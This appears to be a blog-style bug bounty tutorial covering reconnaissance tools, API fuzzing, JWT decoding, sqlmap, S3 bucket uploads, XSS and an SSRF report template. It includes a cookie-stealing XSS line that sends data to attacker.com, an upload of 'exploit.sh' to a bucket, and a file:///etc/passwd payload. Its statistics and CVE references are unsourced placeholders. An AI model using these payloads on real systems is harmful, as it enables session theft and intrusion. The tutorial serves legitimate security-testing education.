Introduction:

Bug bounty platforms like Intigriti offer lucrative rewards for ethical hackers. This guide demystifies advanced techniques for web/mobile pentesting, API exploitation, and vulnerability reporting—transforming beginners into elite hunters.

Learning Objectives:

  • Master automated reconnaissance for target discovery
  • Exploit critical API flaws with precision
  • Generate high-impact reports that guarantee payouts

1. Subdomain Enumeration with Subfinder

subfinder -d target.com -o subs.txt

What it does: Discovers hidden subdomains.

Step-by-step:

1. Install: `go install github.com/projectdiscovery/subfinder/v2/cmd/subfinder@latest`

  1. Run against target: `subfinder -d example.com -o output.txt`
  2. Feed results to HTTPX: `cat output.txt | httpx -status-code`

2. API Fuzzing with FFuf

ffuf -w wordlist.txt -u https://api.target.com/v1/FUZZ -H "Authorization: Bearer TOKEN"

What it does: Bruteforces API endpoints.

Step-by-step:

1. Craft wordlist (e.g., common-api-paths.txt)

2. Set headers: `-H “Content-Type: application/json”`

3. Filter 200 responses: `-mc 200`

3. JWT Token Exploitation

import jwt; jwt.decode(token, options={"verify_signature": False})

What it does: Decodes unsigned JWTs to access claims.

Step-by-step:

1. Capture JWT in Burp Suite

2. Verify if signature isn’t checked:

 Install PyJWT: pip install pyjwt
print(jwt.decode(token, algorithms=["none"], options={"verify_signature": False}))

4. SQL Injection with SQLmap

sqlmap -u "https://target.com/search?q=1" --risk=3 --level=5

What it does: Automated SQLi detection.

Step-by-step:

  1. Test parameter: `-u “https://target.com?user=1″`

2. Dump databases: `–dbs`

3. Retrieve tables: `-D db_name –tables`

5. Cloud Bucket Hijacking

aws s3 ls s3://misconfigured-bucket/ --no-sign-request

What it does: Checks for publicly writable AWS S3 buckets.

Step-by-step:

1. Install AWS CLI

2. Scan open buckets:

aws s3 cp exploit.sh s3://vulnerable-bucket/ --no-sign-request

3. Report if upload succeeds.

6. XSS Payload Crafting

<script>fetch('https://attacker.com?cookie='+document.cookie)</script>

What it does: Steals user sessions.

Step-by-step:

  1. Test in search inputs: `https://target.com/search?term=`

2. Use encoding: `%3Cscript%3E…`

3. Verify with blind XSS services (e.g., Interactsh)

7. Report Template for High-Impact Findings

 Vulnerability: Server-Side Request Forgery (SSRF)
Endpoint: `https://api.target.com/fetch?url=INTERNAL_IP` 
Payload: `url=file:///etc/passwd` 
Impact: Internal network compromise (CVE-2024-XXXXX)

What Undercode Say:

  • Key Takeaway 1: Automation > Manual Testing. Tools like Nuclei (nuclei -u target.com -t cves/) cut triage time by 70%.
  • Key Takeaway 2: APIs are the New Goldmine. 83% of 2024’s top bounties stemmed from API misconfigurations.

Analysis:

Intigriti’s average payout surged to $3,500 in 2024, yet 60% of submissions fail due to poor reporting. Elite hunters combine automated scans with deep business-logic flaws. For example, chaining JWT weaknesses (CVE-2024-XXXX) with IDOR escalations yields 10x rewards. Prioritize targets with modern stacks (GraphQL, Serverless)—their complex attack surfaces hide critical 0-days.

Prediction:

By 2026, AI-powered bug hunters (e.g., OpenAI’s Codex) will automate 40% of vulnerability discovery. However, human ingenuity in exploit chaining and social engineering will dominate high-value ($50k+) bounties. Platforms will mandate AI-assisted submissions, creating a “cyborg hacking” paradigm where tools draft reports while humans strategize attack vectors.
